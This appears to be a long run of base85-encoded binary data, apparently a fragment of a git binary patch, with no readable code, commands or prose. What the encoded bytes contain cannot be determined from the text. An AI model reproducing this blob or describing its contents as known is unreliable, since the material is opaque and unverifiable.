z#+&^zps;QyCsB$`r))$@@}L7Y$b!BnV9pgX58ws-;ezw9cq{H%e=bb7$#0rUT!-z*pQGcAI^^#wz>Qzm+)y zw#7jvEr9 zh_UDXhUf!8?_*->yMmquUj8ckIw>3Wz$j54LR*u5J`M0`4DLTdzicN3b|P0xi|mt_ zhm3~e{o(<-u?cD(xkY_1JbmL7YpiCV?3^VZ;qYqoI&@IODVL@5Xucx}OhKYDCU|M^ zRSM`ba?_4*U&q{rn$r_HuS!3_yTyGYa}NlUiaayYbuZoaa$lOhZB`$) zW3V4rR({_CKAo4TW735N(++?Yl11t3nD?xjjTlhy(PP!T00%f$O;4=mO?}5lIG@i; z)M4}GT%yh$sqOtaY#qm*eI=+2X=CK>!2k*Te;*?Dn2=#u^;BDpBvX>C$YFa8Dwp_( zR7ks{tpUX`U2;1JJ6U+M=LmFy*Gf|8;no@&04++h=(@Gebx47wRN4H4+5?=eEZT;i z*!uCPxHs3zvO?bSw~aBeIfF0TMDCFvyjpEVvDJslk4Lg&a}HT;Q(~)a^A05E(x5&>I0JAPA|vF1f4t?;6paIo9VBf**NQd8 zkn##?=_{ z@OYxM{ouiLRi~T%zLxUl;Ihu*{c3^OiZtiwdU?%3?fw{4hq40BMxUf=4&(mrtd--` z{iZqEx2r{=o;Iw7@oUGS=g=HB>I{;1 zvzLMCA|`rnwUh=3jH3^=3s4mD+kYfiMu@uzffyuD!EeB-ErAxY(5j**)*=*ycxDNN z^FsE^QT8MlA+0l@@|Bp-3MvgQ4hTazFf3;>wsJ~|Bf|Oe%zReZllu41#N8YijeTO zT4z5ZfT0eY);lrx4=FCwB04KMu0dZ!q;r9^1&$e!Y1td_!aG*q!RTs6E4}UmKmn7N z{iuIC9(hWXR%-MEfhgKmf}#y7G8d6}!^ojhxOPRo^`Y*8S%rPr!ZLJ(o@eV;e96kz zwz!LMjPg2^^gdE%K+%JgWgn}N-;byaBfibu0=Bw#*(UIx$BlZJVG{8~%e@H-Wy=0! z2xlOB?XqOr=;$K75U7)1(!2O`x<0@kY(`&?pB(*B{Mfgm4ChOX~)g1MVqopzr)neTTgU!t?EG~mkSmBC| z!$*G~&IdPe_7Tjphs}?(Lo?v>h8~>l@hA-B!qrGw=1SZ*vlhollJ&%Y1nfiEYNyH|U@ zFN86J5)ZS)`z3Zjij%ZVadXpIjf&#lvYNdsuH}_;R{deaZ+SbcIbO?u|JvB28*5x$ z-ZPWF_6iRqF1RZ~VxL>PxC*Y$mi;C!HFoV$f{iu8)pECRkd^j@vBnQ!AG>#zYb)8X4S{%r|?V) zj0FW0Rt$Hl>M>m|O5@c!f58y|+}IWRPMj)9FH{$Ll_e&&I~RN23#HA^0MFYonH>SNOWAjbo(?9 zd%ZbaurPcE23nA0rbjIN7O)HO8{j~+2Inp-=(xu#Bjfb&*yeC>Vfb7^v2&0L;U7A^ zSzIWfRC;|)X1)72k`HBM4jH zj8BM+19TV*_E%AgFtHa3&^{p_=6IjZzDX6?>~jIg;o`y?IeTM{2}F}@(l>@^R6Yb- z5t;1H&y+pcNw&vlqHwo4j4xnZ11qp0oC!F5ue8J(g7NpxZBYJ~RknjRTAV&k%PLo) zyR_&pQ4M`)__Jj!KifYcKCKn^gp^i1h~LyyLTqS90IhiGa7?F)sT+>zQZf2)%sLg* zHXQSiis>4T`M!#IY&hmoiP`WNexML%@y7LN3V*LHt7N&xRb`bd&A6hhl4TedmsJw8 zaY0!n@flw#t0WfVw6aQ~F~-CxmM-a+$vMe%_z%prJy)n z;HiH-fYAX}2(pQXg>`*^pVJf$=&zven-3tElbWi4SV;x+1c2b^i@Z?Stxo}pUkw4W zAq~l95OUQ$si{m2S1BuEczW>9!guUK+=jwaN?vs%3oSq@%40gt2c)qSXNvM70i~$) zOev?QrZOR2$_5W!=FVS;v%W3c*0b*To=1nd;Yzx#52_e`;iP9{YAUOuCIw6fM1E=p z_o*3DQ&~XjodqLZF~KCxz>X8~R z9MWy^0U>RQ9dRge2_4On)}!q_7*Hic`je!+=j|OV3D)!#)`~2m-uC zA;`wt-b{KmG>k+;dnwFqGD59B98U8qJ3;i#`PR$=g2+H(VelA$lOQe{mwoX}R009a zyzLMSd1Lbr;sh5bqDt zoH<&w3omf3fkI=j`v-PdH`?#7NKP7%7-)Gj;Cpg9@F$TSH#0XlswMKSrBo8+BR;k<`?y>(AfmQAXLON%W z_gF6v{tUFtg8^2*&wS0@^69hYXTfFgqt*hyXH6I%&)tWm+>V0<#CD(F#i$=33et`z ztHl_n_b}$$1WE>N9y!EXLIQ3cUU*g z)k8S2`UcnV$k3~-V}reAxk93KK1Yb-qqHc$>Ge#7LeTPs^X%{9dxw@6^}Q8$7{(?( z#k5*)Y}_;Q;ERoWjt}EV*Ye#)zIiNnS&sQx?(*@oc&H5bkOo>Hi4_#@#Hqp7vQqGq zv3j0pyjRP(yC(GjP3Tv% z0bzamYQf93u1}xVUqD`KK>;2(0u&h3sri(9=zGB0oMXWk*j6(h3ccU?^*_dHZnBgy91kC zx&Xi-0%PhB$;t7PfLr*~Ep3*`!Oy8dtjIXdBIl^c{;D8`ip%g~omu`)+X2 ziZw!8M|&ip2wtn!v$wEpRB&Kc_CR`Bp7(0td29fcS9YB)Z*_dTq>{QAq_y$wJT=+p zz4{d2CcJtAKQhrT%XzgBpL@J2Nh&HgFU=P0>oJ$n)l zQ(#Q)7tN7un&iw5|h=zs;)e}XRS*~!p?`BGnvyLS))SG;f)F`&7anz(-8 zO?HBKkIyMMk1rLR6vC+$0-_>JX$91VCC)_zX1;uvQVE~{M<}ca+1rNm$+jNwTQ|A0 zcUUWZ$XjjQAAdB;9wsn&~dj}rstef()2hoaJmC$V6RG^;bSvLjL(<1Ap zpykhs%?>WM>ayI(rCT=@O7x?j93bV&e+S zyO{&tyvO6h4s4PB0>2^eJ!mvx#A48!3b~a^>oEA57MLu!mu=?vz>7Gs>pPfQQH0$G zY=c;h*bMPnc+5wGp!u$NrPehoGz({XiMAWr^+OBs^emp@GYUhtf79`lW8wA)Q}Y)g zHI651MZnx%ibXfC(Y_8quw`3;XedPFAm%JA99ZtLg-W|=ecEx%VYlKdYiUvU67T~J zpy6j915s4>4dHD15W3ipPnMD`b*ua>z&}S*hIiD~!K1RPET;sOH&!ZJQ3|avU>&7* zA#zIq!AmkcwA0el+)NPM$IbdUu8qLsu!M?c9{+|j{y}h*svpMQiamv$f)1m>1)ELf zLUMxMjA!Wg1{r07hic(TVMiI)ap(zVk_I(^muZ9-FnFf6;egN4zVQ?LJEj<@lk}xu z1BxoLVU=7!a$8z7^S_ZlUh{p-!{A)S-W%GsdFkqDoi8D;6?s%?>~6gCh~MlBHi89v z+rptqt@HmN83!J0(YS$Eu+JaPx{}4N#86?eJIR*aHi!*jH-u{K0s6d%uPm@;oUq^j z+evs|c#cpT00m}>>w+zuo>J8rmyo+th1jnyNz-n;xLLqv(Dq+~EW-*mH8`7qD^)Xy z-AL}4md|uA`?thF%q?mmD=Wp6l&_fyX+JcF*w}IkSdcCNF0wc|MI3$Q3>avPXgalH zr!@V-;e4x*mTCH1;0Q-HeIXL#D+}554?oE?{TV?0Z%yBR=RY-l=P$mX>GOaq-Sm8? z>C(_BZ?_-W)@5moS|?8_Tiv|$KGWF+W?#vO7ISa#lopo^=jJDpY4HJLWQ$ka9bY+x zt^H&$)7qB-@xQh9o$x=kcK^@6ptauwu5@b)RBIiT`6=2`oW{WS|M&FwU%Y>qH^TR+ z7U?>*dSL}F;TryG!AoF|a$fa-;NdjD3QD*7+u$^j>~3cayUP0;*(*AV2Kqt+0jE<)%@@hf#3z3@LREH0QcgK)*f= z+QBjou#9o(GN9{%&;5;o+=cTJDj7s20y+Q4Z< zOK80tfL~AKZfd|vUyA<<{8!<>8vjN1?=gN*Ngj7QpB8mNT=Yo2>+rcZg)Q;CqEnSR zI@i=-Kc#YVI;FrWs&d{$gOkS%_P5iChK|EzPf7XqG8Kt><%6dhEzY|vw62FYvUB~Y zhS`b@_o)r`Oa&@7&f<+0#uGST%3U(*=G?Yx4(+e z<%@B&y1~wsvb`ufA5iF~XYgYWE*&nrWY`SZP~`*h;t@sHqqnGWQKbhK+H;-KFL4rd zy;ZTH_M^nh3QR!-{s^!JJBlbsx2Qlnpilwd?Wn+ABPtLauE3|y3jxT`JCrFIKC}By zI?=cR&DJx-c=NeoV(9uVpyvl-d((9(xc_p}g zhp3AK9D`Q_9Pw%&brAFd0>Z2sJhfd9+zd_{c3FE%DGbKN!|X22h_UA_!h!^;|`!N2{nYX8^crr7G@5q@O(-MgmdS73a%Eu19jT_ zO$c7O+#T7^~=H&Hl@Or?|VnjwdBVSTakq zv?zCk^@=6P`N=ofjS${JOxy^T)+jV$|KQ#W`GSP_`5D&MT8l&|9?qO+8lm^_a%&eb2f z3$>bqT4|fITd-<1RoOrMG3uC@340G9&`Xm-9rNru>Ax8V_yK3K)Gkx0KYi>te;fjP)p>y=-dCm+GJ(hURtjY zTDjT%R;?SGfH~Q}jn%rr^L#D>03nHmg%(Nq1b8Y)PnhR0cg|?9D0LZC)>!PLkz=)1 zOu;<@S1*I;?yr0T?Z$0ToKInW7_Yv1lwAcXB^HylHt_Z&Dx7!|4Tcq1dqtkhD9~M` zOQjTn^NRgpA6N9K9M{IlM+YcKpnL%;$N(*Jfcy?nErC7-i)PIT639MOTBqo=jjrwii3tVnB7l5=$$)p z&(w;7?4$Hof^CmR*^vm?zj*RwD)C*A0)wO-I3L8L{sN1>2}QS*Eq5E&Dmlse)P4}E zKGg8?qcvWD`68!jn{F7D8B=uO>%)l{W5YVQj1rd*Kzzi$gpxO1pA=FC9XIteW+f@6X30xOz>iaK__pXvOVmSP%2 zvrvh#)^vYty3d-PpY$On%Vl`+EHMSK>3)zO4gi*War$w&AKy3fWjZ4Z?RgayuR^16 z_;Q1?H;%6M;#ds0?W7xFfkT7k9(xa@et~@86iCc5fW&N*hV@)0>FJOu)iavLgcH!{^>o}th$KdQcp*0MEYlp_b2Pg`4S zjrv++YOQf$t%0i#HZtQmQmgxz`ycKQzK$kh-uXtv9kb82; z1G>x}?>mtiFDCGUA3g1dC%NXpB6bW2h8+r9lVjcsx5Z~HMvO;)lZc;0KHa+vPmkg$ zKBFL9#Che9Ah%w^=nh1Sa%oY#x@a-e`jM7ef#blQ)Rp=?!psMZI?(|g6bb|F^oN*G zjRbRhU3^BJn)ud9)_MA2CSD|ozHKlXUk=^opnV1+!th25{+GoUA=Vy+IJjX_+3Pd4 zO5TQA;af9%2SR3FfO(3LXl@TW7QaE5lb#_;0C)xEUR_h_Zd@p)tN{*VI}2@cObB9g zV3B0oH)FJMlahXQo3qqX-2T%?)o-y1w z3L~u{Zrlw*NrO!H&4vGp88AiQIVXUfPsM0GvW)=3)q8dm-~b_@9H4+J_#(K=hT&%9 zr>_CU5fHZXApLM1#$^Psu@Zylrf?PNN9~SM5X(N^ovhssSq(z2QFps#e&VF z_SEu0T@LlGw{q#3*phI=72@d1jpty)>Bx*3(Vbc+?byTA3*=Mi#m4%{W~X^t=OsvE zq@Yzw3_tlWdKQT{yG3W3&elJi?FdN;!3^01oLr)up0d%13{7PkRU6a*_9uP@sL2l; z0!Zpb0wT9MysfHr`!N1>fW(~d)0_FtkN>**xUB~VkxT6l)H?eEb=HH2Gm#-Da<=v0 z5F%T#sQ`DG!CM$KTMwQfpqr)!^RVw(C3b1Bd&17DCA9)iImL2k;e)0kpKasOr0daH zvIfcURnz%vZWvxksE5T}&kuwLt}q>WhQBFuWCtwM4+m<7$e3KfV&^ zy*t{x+#KAZ6kS`W=rZr~X9K{eb#CG^-EV)z#vM5e3L{09hVxGPD^MMWv-M`E#>_sS zeGcYYlN);xpI&HyTpupNdLXR9dV;bY!~KZ;q*P<3`)@!23EG5)i%@ClXaM|v7~o>o zV5Z0Nl-C7owP+q+tK4!RE&5ryle*YRcc4^|jUCz?vX9`PHip0c3X^VRg%H08=RXlo z`&fPCAfc)ElM0z`0>zYcT`*Q}PS?e_huN%|^f?iL+VEebyW3$V{=A=6;=FvB?k1f!F(-?>yW6Fjq{v(jx~V zy{}gNHOz<+T_r;#heXz*FJreyB`;+1LinMo5N3AJK^>_ZT>R*TFJcCwI)_ zPxfo1fm{%W@kvwJDI6{e5#I8Fii~=p6(f8WTFxmoZT9%11}Wdl#z)P4`m=i{p&CBu zoZDS+gou3h{6T4Q3ASM5gye>M2w4zGS0H6 zW4t*Vb^kq&pFl~s4>LlezKdgfKcc{dVECqr9Gaa6cN^~LAc&t`;HyC&WF5bXa#fFutrL2@CAF~*XhHjTNp0f#<0+la)HrGnTEdR_%9}I& zO=~B7k@;4$o7xTXYniHUoQ+&o7xQY*f0|YA=Z*>spk?za?57C6{E+?eEC-)453V@( zuV_>zx#^WPuZO*voKVRDE`2+gg18T}bQx$E8|di(G)WyS5T@?g9U(m23|q2%dok2l zJdg0{vY+5P^r>#g6Wr%e!gH3DbkBDj;tFWZ!6l>|krfQCCL@VG2K)!`&z;iRbQ`fJ zT7mDd+UnxR6|bA%!-v~|m{MHyLSrJ8$UftVcKny(pGW<%@jeDW`S>r0)%(kTi!Tw< zYNjL7W(1|Qc;$JVbdd_eAzoF;{&6VN8QlOwXOv>4KqYaT8m4zf)f8Au-Iz|W?|T$( zu#i>)W1k=d_Eo`VS|{SWArG@mgD?(;1{>5icHP2xq=4rOBzQ$aGZq< zK%xVOWLokxva5_NbVP|XbI%7f3?Gr9?Nb86c}ZPx6~NPNvt-C<&vQn5l;b9QJ_k)~ zK6IRpS%uu@@FoU&di)fH>>u5fApxCiqIdDV`gMN&}qhabB)_4*A+Iy`14Yv=Nl8ut0zQok1Y~%@kQy$KOwpR zhE-Re7C9Z!fyg*Sw}m;}f(w%uWgicFVypdF+VH^#>1VK@}zLFF2!KTa_jWzrBvv3c}1b9yaKQs;66_M>Q18`|gW^;Mn zIbwbFfp-H3h!afcBA@W?^MY%~vlqZc7^%OI?U>@u#D z4v*(W_u9w77Qx{XN?T9h)Jn3Lxah%bbLR@FmY+dNZL~QZpiukIz<_gDr^~u3v6zMI z$lt&nFlP%+J>8Zbc&Uvpj5bV?>A~(p>daG9L1r&$jcN1wI%nA9Go&(^9GcJh58yWd z9kIL$WyQIbvU8kb-ZlUk74jP<1xQ|yN_nJ7xMm8T5X!T0r!eeoY7V4JZ%S>f9$C4X z0g5Z%!e>Jnb{~eF9kS0!*GOHj2`SDR3*^>l%B5IT=*}dKP~lUy2LmDdqZ=~cZ~>rT z(xzmPwR13%vvHPm^?)sG`JjnG&D+V;C0{Z@abZ}752|+YvRw1F!?+F{Vkocx4Q~y6 z=(k`fSNn14W-IVo_fq*_Z%4AV4{C<}Mm;>X!UyU1-sVMC+&P%alj-gT`;D?Rg*^?r z9>7IznRB+KD=<9%3yhC=ihhjl@o~PELl_rU(L^tDmDN~ny=MP?7p9Dx^?iij40vls zEm}}18q0CkiaPu6{{=ZHaw0hf+VDDiCDyAJ>-YA@yHOeF(`yDSoDLlV70YXUT67ET zp3?W@iUbRubykD*mOUHg=&k_z1BwPXR^WUon<@9vm{K1cgA21utlW65cNR{tqpW=X zq*jC!UxWJvV6jrTl6L$)>@(XxMQCm>N}m5Ykfp;QYXu}I7R5i@YHh_tGunE?UU(IB zWTVs6*oSKh($3w(i_?RfHPbpj7%?8K_9>idy``}ma7MJ$9h;tJpfK?irISijQfYb= zS?wh%iJFQVp!Q|Ps^L^OQ{8#7Y-^jn;*`?7NNGWF@#XFq9Lbcrp;L*?aNBp@iarv? z0w}>-STT>3pv9+qV;=kRQ;_&FNPMRtx$vKm6r_3Qj@t2Z-MS z6<;2d>DMnfN>2fLB@HAHK|-Lp)2oNk7ph$G<+Z0|7clRX0v<;J3()y3^VO^q0D++}!p;yhTk-kXZc6D40nGrZG7V6;Kz4(WrIqLPq6v7-NhwmM=`hsWh*%ZF+`1c!-dY#gc7E z4+6l_p8^lvHnSR8BSp1LrpMP#>*5q z@}-6G+t^m>C9zWAZp1E&*f5KN%0fM8 zpXVz($J>qhq=*X3H`RRN;e2xV1ynE$MVOjTd}=?UZWCBN${ae1 z?d6oxY;XBJE9L`1*`faO9M&fC;K(`V@G~IFn72m~rG)&eHI{NVu=pTKb0Qoj3?>^z zn6k>JehGZV`d*-IYSMR+FmBxkN^Mz(6nhqw$%-(}M0+~wnCK#12%B0?Ha~wov!_aa zJ%p-YR2A4iqhgTdW||uSR`SIgryQzNLVFdwS;vNh9ulB z;edpXO8A(BPe}NbgwII$oP--Cd_lq<315-0SHc|gx5|&C>B4Lq)QzR^u zFeqU_!U75NCG<<^laM!Er6zeKbV+zZdfb+9K*9qO?vrq@gu5hsQ^Jt6x>>?`5-yT( zv4jN@7D-qlVX1@_5>`oAEn%&MbqK8#c=?V)yjEbnYa@=J{Td>0EII&{cPxH@;lukF zKE9V>_b!H;-$dBD?%^T%i64@m$9Kq2bi4dK-77yoeFZ;{eJ47IAFIY4i`saI*SPzm zMR>@<21-n>owTY>=mE^kvFJg>rzWxuR{e?M-`M$>%yBUvTyyAT-2uK}sY9*09br~&FGWy#`He5Cv& zuO9hagBtl~<3@F-K?@h4L6MOSYO?#Mss{C~{zLK3)|kdN?LDPUFMUCqI!Yb|8V8G z_IW@TK4U?w2!=yVO}1NMxB9SzBUi)+*R?nk-5MK}+-tqwT2^M{Oq+H? zw^>}vh~j=J#m&M_2#AR5YtFOFkvfuu=c#gvdlRov#7V`k3OHs!%IF!D)j*;kD* z)20C!u#tBmmb8{#Zj{1=R@;=1%@<~ysBJ2foc+d_Yp>NdjdF5c5g9#g8o(p(CWZc> zGxv6&WIHi=D=!E5a?Odka!)6QD`aypD71IYpL26))-2s!QsY{j!Z=J%GTXu6coxUF z*GPe+$ZDpK+9}0nSxdd<$&*GoaFm#zoiyC#e_L^Byktdu-Y>CZ8>{u2_qtt?H}x!t z#xQfVU!3W3y@Y3Z!5Ilxa^vFfV26tXEgyqMgzBTy+}JgA(Pxp%C`Nf6tJYJz!+r(K z^c+ivGgx?}^U)>j)iUb6^92UYh>hyO&XNmyi8^HZO6u-{)ZO{1y9@1!4j^~F8=D%e zzZCZt?=RkiyRTBI-5>-8>tC!-tgYcJ`*hSwQg&PwszRRRIyh55Jt@ZUYkJ-2Q=z>j;%m;pSjBgFu%FSm7L{(U$GCBV_w2p#Ep z52mgB-w96*g;@DqTIU+1Bw7)GBLeRvBZL3+xEZKe2c{*JY?( z;5_8jL+B1nEKD{YcvpZ=j-*ewxiu>{z9!#C02mWK&n^YJmSnj^ zp|VqAQ<mJ=2pyu?Z?XVpCV4W@&6^>ozkDFw=n=>QVZ0 zhznc|E^a&+@xXP!#O+`z%FY=?G|toT$3Cwbpg=#SAv_97cgCfrk`k$@Bt>c}X<`2w z7ipW@y&Kx_0!OO|BVUCbT@ea{(+`}Jz#h#&XqG)+3f^YjhHq&=puq_!c)Hdp1bo>! ztaT(eH8F@cr%~&P*lt7aZ9Vn3xLmDen808TOzmO)`U*V8+ZoYO8UjoN3teq~$FZ^a zevPy7i#A4nXZCcWspD6?S-i8Xi%PiUc(ctIzv30X+jxg(3C>0vSbh5?;6aVnfiW`2 z4Y1YbxP$zG3_0;3#9HH?!N`E4v5DW8x2NRIZu|2IoC7Z9(2IEW-vq8j&sLxzE%v9N zBn-;z9{_XWH(0D>Bz7DsMDK5C-w#~lRxzB|#_$}2;nbxJE0-W_T{rPj`5CuPe$LV5 zCugzzOj;yAm(0V@W8cYn2tQVhYeT2}x;J#;H(uk}@O{2V2e2~s=j=i=$zHB!;)Zp2 z>(6ONINA-TV>z9Y>MTaF=ssjw??$U)(F1tI>41qtV7K+z;7D=43ByKbzKpAl9f;Yv z?aenE@qzot_C^Y^I&j7F7VkOw39jG60)yW{YunMqh~HuL@i%*SaweXkXTm4VyFfg< z6TA2C{>$!tV|PXlAN|xC1e6~Tm^6-loV|P5_;SFl^eoe$7V@kZedA;#oQ>I_ct4&z zc=8^7|L8vReV6q*CcXDq&I0&v27jE7E=f%)K&V!X)n3=i)3Ip4^~g|a%+*%e8HAhy`e9K)2L*S|YjTz=x)tH-B5| zdUxAsYmD|{*0k7|Z8zJ0oQ{uNah$l)IA!F{Py7j^)oE7~R*h7y-OpMLnXsDlVy0+k zEifbf5y$2oIGPn@(+C@jAV?YX;2x8FZ3~`#M?X9}l^T!3TaOY69SR)APO1<0&}XOW z3$SvUw+&|D9yQ$Hfu$-{FXpFQ_pCYjD4I7POP8Q?ltXLT1HJJ`jVEA$TOYj&-8OCw zfZZ|@nwCiY~wPDD4yhGC7&>|-{nQwAYDD2FMz>^^aNvUupE7uL`CRe#8)5q^jRyny>vk&r^>ANc-l+n zN51ik`Bi;2e-0!USG6CzBr>yek1>61e*5wHMn%8ITQ&mOhtm${9UO?AeNhoya{0kl!GtqRAjG6PZ1Fl z3LqBa%;9h5+9zR`=SapKhkEgKjcEKFSYq<10L`c#t^?uY4?l)57Vl&jUB&R>HiZ4r z*$5XPcWm=K#%_L8!YYKgWafO;4Dx4A4=rn*_*RGc}~bG)0+ z_B2e>Eg}0N{ttHY8ju;W~tU z(fbjiewO-qME$H)KXf*o72Dj5pBdVV=V~u*3&jMXntoW%bFC=xq@u)mXYZJJb^flH zL?w1&?3%}K)V?EPTIb91da+@c$7jH=l)PPM_{`&Vk+zdj7L|Aek!x?vYCm>mz*ml@vj*FcR&@78_0N$L=t0Za;RHQQv;7 z&8TfZ)*Lx2Iqjr0Fj;0E*NsB+_!48Bd3>dD#>prfoV*}DBdfi1iSa#EkCRchKj}Rg zXRS`g`PRN!NTYRrDlbAV92AIhfWb68T8m%0_?HNrwcFXgS%?^mFG5P6lmmaVYjZ0a zjIn)EK&oPTBu_o!dd_prHv;DIZyMK|$8R;xGLPSjyLn{@INg5zXXx+b1nXfL7Eu`r z;}92%a@5NFc?S+$SW=$qcI#nw3Jhn*nVZ>3nEnnxRn)#&)&44$G{!u>9B%TC-y4~1 zNh2%|nqid=w@47GcHyph?f#zug?aog?K@v~lM6oyh7E}D0CorG>a@;7h|wOr45{Yv z+t<{Z$L}yMLd&#h0ivA3Eone3%2BCx-s1u1^aO(N;<=`Lg_mg2LO`qGnU$D?=i>cN z5{{Te+mNr%b;y4+*qQO*ycc=R#;OmB#9W^%ln^N0Q3QBDf78)>5nr&M4`rULS1%c9M1 zHI|yVgsTXqhOTHeuv{g@YSEAJ1)N$Xb@RX}SkC}fRYTSJYX!ysR?o|a>sf_*{*M$; z#9bTbuyQEi&Hk4Zco)|xIu!Ug?{gFgqf}MP&r!gXxd;Pj5hh^OiMMf}ve+6N<3Q}^ z32~*wk@VQ?C@}%?#cZevHyXzFC_M+$_y}KU*w-B0qea=FDYXR5VUKMy z?WJ&+gGafgdI5`CSMHyCskWDS2N{~x;Jdf-(phi^6EG_=lUP$|9MMtQ>kDSo$ke5tX-`H;YcQ~tqJs&)QB zy5z3NrK%pKTKu<&v7$>*7b{MFL3?Uz_SS*ym_)@SD%siuA0FLIO?4B}zOxQ|pn`aq z(aGxJvX-i{jC)36O{uZ-)K>S_0j&E(qHx=D#7tK$BoeA=)a>2$gDioYASIN^5W@B1 zviKNNPZ@w$0EePW;-plvlcB>6$_IQQOKEA}EDW61na!ak*j1yC?mPXrN8cM+ufzc8 z;?ULVmX$Y3tvjh(Lh4>N+~N#%?-zi(BI6zEt~R!QoSnSn&Ld-zg~Q-!0%6dxZd*Tg z%W0t&)dFh-5#mPfu9y`5FPmQs`)8;5^U>~+pOh-Xz6cPR<{O@)zgJknT;d$O%xh&5 zYMnRBa8f+a)oLnpxFlgeOc`}9<8(zmxRH;t|6|kKxTs(=IY6kRVp+*-2w*3Lk57pZ zp&0k%*DUp&2}5JOW8VYT-`WSZd}i!%(n4|NJek-HQj&!pmNzG*(z&K1m-eDI(}CWh z{H?0~R+LXg&J?b`6Id*%Kzm!(HzRG<(Aqr66477bLrR9zAH9qaH<03LtvTtLLhW88 zv-`53+EF`$lrNJdr{sF;ugujSr5FUtxsnqb8Rxry{XEcujJmb`*HfFD2s&;iGVsry#$!R{s${Lt#)rYIf-hdh5B z8WpQQXm7>{!s-sk#Yd)jtBhRn;TTL^=WZKoP3Rg0UiZb`Bs2-VvqE-9EfuTavLo4} zbGM~(o$X18Ag4pcu(k%**?aA76lq=!EsF`Q(|vzV@AVy->8%nA*7tDJ{Cyr*pf1E%XH*_f>7!yh)$+?LQ_`&XV zwmCl4vD(KTT;cS0_zYa!jX!8IJa%G0I^60@t_0C&z=)eZQK#~4EiJ1j;ewdch!}U* z`x@Y`2KKFJry_0mVs3Hv66gJr4{#PG!X`> zlF>x)j>O@%qL;B%<;Ac?@AzWT7ofz5Z5F$N?jAmO(=;H~O^bq9H?0F48-s4z5yZMT zO33Y7>=`)Ph>^qoj~@yZ@L46QAo*bjbN|}0v2HP0=oTY}ZdxM5x@m~e75^*3PMj|v z57_Bt3hePG5UH*E7$V);ty2OO%_}u+3sgJpwNU?>0~$TZSPv7+oxP*A7dw4A;V?{n0Aby#QsdusKjsa+!i6T4xu3+qBMh{x-v<4}N1ZzNkfwb?+dej3TwrigUED zjdIY%WvtncKv}UidwQ3|QTtU36kh;$7vK_SB8_8WXtDO4Gw@Yuowp-2hZ?l+(8U_+ zfzY(489t1YX8d~~QbcPYHMDOH^ot=5*Df{c6`iWeER|>EczTOsl}(_ zxnGQQAPTt>-^c4wG2STx{k7<$h#b)=F}w~ZN5%{%Su*s^W2s2aOC&BvodWa$j~ac} zeJ5g@Y3+m02h4Q&$;jCCe%XUzq$P$x{ZW#XjYwPp7}EyPT|%3Ffn(%IS|zxd zDWhGr0X`ZRV-u8qa*Vm!CQoZw?I`X3b?5=rS`J-p(^lis;+@v6qkE=x?$$cLiB#*I zqkH)Lbv(zq+1}lDEY7wj+EGGmGapq#;x0t2_hks9jE1;WO@1xWfHZSxsrDVpZd#{~ z&>Xr=TQ^POZ`U5o1!G|j-Cm7L&= z7nO|J67vDSlOMa5$J^hXJC5nxXtI;Jp?@+m;B z6#)0Fz9_Biin^k|!%u&77eaIf96bW&$2?o6MIRvIe)ls0<4jfcXTY^-ug*M?^N!FHU7rr=6KDgllx{k6$2d{t3>Hw<7*frdDdI) zWkp6~DlSuognd~>RmrQbYejr+RTXTf4o{X&+&z>mlsRVjQ&Rn!%)71~{_=7N`*#Ja z3NklyUI58k(S>UCgVtC4*o9XrR@haSB=euiO214_j(uj7F+rtZ0%rFC)@8|}I{9%n zee&asRUP7uoSEw85)qH?L)Z`w*gv5v1bmv3)rh9lAi<9!9a4z}Bc=Rc}%m~e}Yef-)*)dXB zCXq%U)y+gzNWA{AeW56AnA_D7=}w++#@U8cGCw73mnEIy)af&bWi94r0=QPCYi+RB z0SDq2qFM2poB8#-sP*TA5~s|kC9=g5M$Hn|rTEC&?DQgPT()*c;xeci)AAfGJ&SvB zDl8OA>_u5gf9{QGnEa$;q^z1m_<3f=bz!0=Xlrg=4D^Ho)P8 zA2vH+)hV6DB6ch?02%FCw8Q=p=xjl{!Kf(T*HwLWYW0M&nuDt@DIYW@l@F~rzbiL+ zPOAQ3Tb@-v(3O>(fYX5x)!w zklWQZ&VtjS%T3oPZPQyxkGV5Iv#Hlx%U_T9AXUuc^o-BVZEC4)sl4=7x)-L3Lu<}% zgpkC_L-u(hDnfP~Go42S z*z*OF$V5ds%7MP{HP*HT$~ccw<(muAm^%*XSo%LNZunpU<>l6AbRR7Iuyioo{DOo- z67G`lu!ILB+#%s}67EI##hahT+v%Q5Ttji=sIgz$G(NU@K=K`uuvfw!hVg?4Tj`); zETCu1C{uvl8xgIo`v{DDeA+;(IYg0T(?5$GfEpokggp>CZh_Q+Xh<5J3rMV?Jnh>n zfd?YT&s!;SuuW*}$mXcVs%EO@vw?{lkqxC%7f(+N@5MT@_k0fofD zsKi#pSdvN!VUr_qND@yp#x}EEiT_BWodjEqk!YE!#a9Vhp+I7(AmsB%go0%blGyN} z>x^0EkZx3&Ly$VmAxIrO(WsgvQpaSxwwhNjiAgd$gsl- z*&Mnua#pLkW>iV!G#K7FIYFev`+z`lu}Z!|B|lBlrtU-gex;Hjg8W=PK?wOz^#n2G zarFd2d<$HvNr{4kiip&>Rurfzldg$JParWC9Yp9z6mQ~Di{Am{{ZZ0g zB#NzgJsM?$l|=Cx&?!WL#EWDhajOAc}AK~^Q(l8jW2M?^x$)VS({7Q>q$JR4Y{=KOV*4TsVL#gHZxrHZek5! zMC|x3Do)03Eh}up)$BjOh*9>KM=YB-9AVv@Y(NNhE|ckwhXGAX+CGdyz!0 zmUu`aZ(*sWByx#JB2T6zk#mu*h}Ir^n6o9N5OzCdHcBCUuIi66Nl77$aHNoLpp@+Q zt?5Hn!->Shc!`{bN$2*+LN(wJ;Yv1?$>5_H!a?}z21KeMyQb9YX4I)-2pAW{#iBh3 zvF1SxAyJ^9LYRb7ojIHeQ~cm3(GHaGv(e3GHO^9k*xW|(gOSrIe&9igA4CQ510lo@ zS)A+(MW>b)KiEWanJFn7tS2+bVG+uGi8w}H>|s`LNfn6<6d`;>WXq3>P(Hm~96tOAwm9v+&+01sp(#u5gLa|`Z|eDxhP#t}oFLTp+LA!U^q5+x#$M5LmiMocCN^}QH! zIj+^$URq={q~h!=)njTV>2nn&D`ZYm%8lXl;fXmp`lePBG6)2gXe#pQWa;qTL#h;W zGbaLwA6B|Vk(gY$%LnB2H z0XYD68aPauJ6w@fmQV{S@@1BgM=c-FCnBfJhj3^g=S!;lAi_9Zi>GHpoGZY5xPQ&1 zYEiSgnWmOD`%;vX^*FPbo0%OAWwY*kHhF;=XH8N#vM;Sx6-&u9X5WEq*v63M(X}ez zv;fYKyH6#>#B?)yh?_DAAJQ_3L_#L95oZZQR}5DIm}OWW9ze>ob|l7tSY@&%i?o3h 